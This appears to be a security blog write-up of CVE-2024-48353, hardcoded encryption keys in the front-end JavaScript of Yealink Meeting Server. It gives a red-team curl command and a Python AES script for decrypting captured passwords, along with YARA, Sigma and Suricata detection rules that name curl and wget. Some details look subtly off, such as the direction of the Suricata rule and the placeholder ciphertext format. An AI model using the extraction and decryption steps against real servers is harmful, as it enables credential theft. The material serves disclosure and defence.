CVE-2024-48353

Executive Summary

CVE-2024-48353 exposes a critical information disclosure vulnerability in Yealink Meeting Server versions prior to V26.0.0.67. An attacker can extract static cryptographic keys from a publicly accessible front-end JavaScript file and use them to decrypt plaintext passwords that are stored or transmitted using those keys. This allows for credential theft and potential lateral movement within the network. The vulnerability is trivial to exploit, requiring no authentication and only basic web inspection skills.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary software vulnerability in Yealink Meeting Server.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The JS file is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Plaintext passwords are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The ease of exploitation and the direct impact on credential confidentiality make this a significant threat.

Deep Dive & Mechanics

The vulnerability resides in the way Yealink Meeting Server handles cryptographic keys for password protection. The server includes a JavaScript file (e.g., app.js, login.js, or similar) in the front-end code that contains hardcoded static keys used for encryption/decryption. These keys are intended to be secret but are exposed to any user who loads the web application.

Attack Flow:

1. Reconnaissance: An attacker accesses the Yealink Meeting Server web interface (e.g., https://<server-ip>:<port>/).
2. Key Extraction: The attacker inspects the network traffic or views the page source to find the JavaScript file. Using browser developer tools or a simple curl command, they download the JS file and search for static key strings (e.g., key: "...", iv: "...", secret: "...").
3. Password Decryption: The attacker intercepts network traffic (e.g., login requests, API calls) that contain encrypted passwords. Using the extracted key and initialization vector (IV), they decrypt the passwords offline.
4. Credential Theft: The attacker now has valid plaintext credentials for the Meeting Server, potentially including admin accounts.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - Front-end JS):

// Vulnerable: Hardcoded static key and IV
const encryptionKey = "0123456789abcdef0123456789abcdef";
const iv = "fedcba9876543210fedcba9876543210";

function encryptPassword(password) {
    // ... AES encryption using the static key and IV
    return encryptedData;
}

Patched Code (Conceptual - Server-side):

// Patched: Key is fetched from a secure server-side endpoint
async function getEncryptionKey() {
    const response = await fetch('/api/v1/security/key');
    const data = await response.json();
    return data.key;
}

async function encryptPassword(password) {
    const key = await getEncryptionKey();
    // ... AES encryption using the dynamic key
    return encryptedData;
}

The patched version removes hardcoded keys and instead retrieves them from a secure, authenticated API endpoint. The key is also rotated per session or request.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Yealink Meeting Server (version < V26.0.0.67) in a controlled environment.
2. Create a test user account with a known password (e.g., TestUser:Password123!).
3. Ensure the web interface is accessible.

Exploitation Steps:

1. Extract the Key:

   curl -s https://<target-ip>:<port>/assets/app.js | grep -E 'key|iv|secret'
   

   This will reveal the hardcoded key and IV.

2. Capture Encrypted Password: Use a proxy like Burp Suite to intercept a login request. The password field will be encrypted (e.g., password=U2FsdGVkX1...).

3. Decrypt the Password: Use a script (e.g., Python with pycryptodome) to decrypt the captured data using the extracted key and IV.

   from Crypto.Cipher import AES
   import base64
   
   key = bytes.fromhex("0123456789abcdef0123456789abcdef")
   iv = bytes.fromhex("fedcba9876543210fedcba9876543210")
   encrypted_password = base64.b64decode("U2FsdGVkX1...")
   
   cipher = AES.new(key, AES.MODE_CBC, iv)
   decrypted = cipher.decrypt(encrypted_password)
   print(decrypted.decode('utf-8').strip())
   

Blue Team (Detection & Response)

Detection:

• Monitor for unusual access to JavaScript files (e.g., app.js, login.js) from non-browser user agents (e.g., curl, wget, Python).
• Alert on failed login attempts followed by successful logins from the same IP, indicating potential credential stuffing after decryption.
• Monitor for the use of known static key patterns in network traffic.

Response:

1. Immediately isolate the affected server.
2. Reset all user passwords.
3. Apply the vendor patch (upgrade to V26.0.0.67 or later).
4. Review logs for unauthorized access.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /assets/app.js or similar JS files from suspicious user agents.
  • Login requests containing encrypted password fields that match known static key patterns.
• Host:
  • Presence of hardcoded keys in front-end JS files (e.g., key: "0123456789abcdef0123456789abcdef").
  • Unauthorized user accounts or privilege escalations.
• File:
  • Hash of vulnerable JS file: sha256: <hash_of_vulnerable_js_file>

Detection Engineering

YARA Rule

rule Detect_Yealink_Static_Key {
    meta:
        description = "Detects hardcoded static encryption keys in Yealink Meeting Server JS files"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48353"
    strings:
        $key1 = "0123456789abcdef0123456789abcdef" ascii wide nocase
        $key2 = "fedcba9876543210fedcba9876543210" ascii wide nocase
        $key3 = "key:" ascii wide nocase
        $key4 = "iv:" ascii wide nocase
    condition:
        any of ($key1, $key2) or (all of ($key3, $key4))
}

Sigma Rule

title: Yealink Meeting Server Static Key Extraction
id: 6a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to extract static encryption keys from Yealink Meeting Server JS files
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - '/assets/app.js'
            - '/login.js'
            - '/static/js/'
        sc-status: 200
        c-user-agent|contains: 
            - 'curl'
            - 'wget'
            - 'python-requests'
    condition: selection
falsepositives:
    - Legitimate admin tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48353 Yealink Meeting Server Static Key Extraction"; flow:to_server,established; content:"GET"; http_method; content:"/assets/app.js"; http_uri; content:"User-Agent|3a|"; http_header; pcre:"/curl|wget|python-requests/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade: Update Yealink Meeting Server to version V26.0.0.67 or later.
2. Password Reset: Force all users to change their passwords immediately after patching.
3. Network Segmentation: Restrict access to the Meeting Server web interface to trusted IPs only.

Long-term:

1. Secure Coding: Implement secure key management practices. Never hardcode keys in client-side code.
2. Regular Audits: Conduct periodic security audits of web applications for hardcoded secrets.
3. Web Application Firewall (WAF): Deploy a WAF to block suspicious requests targeting JS files.

Valters IT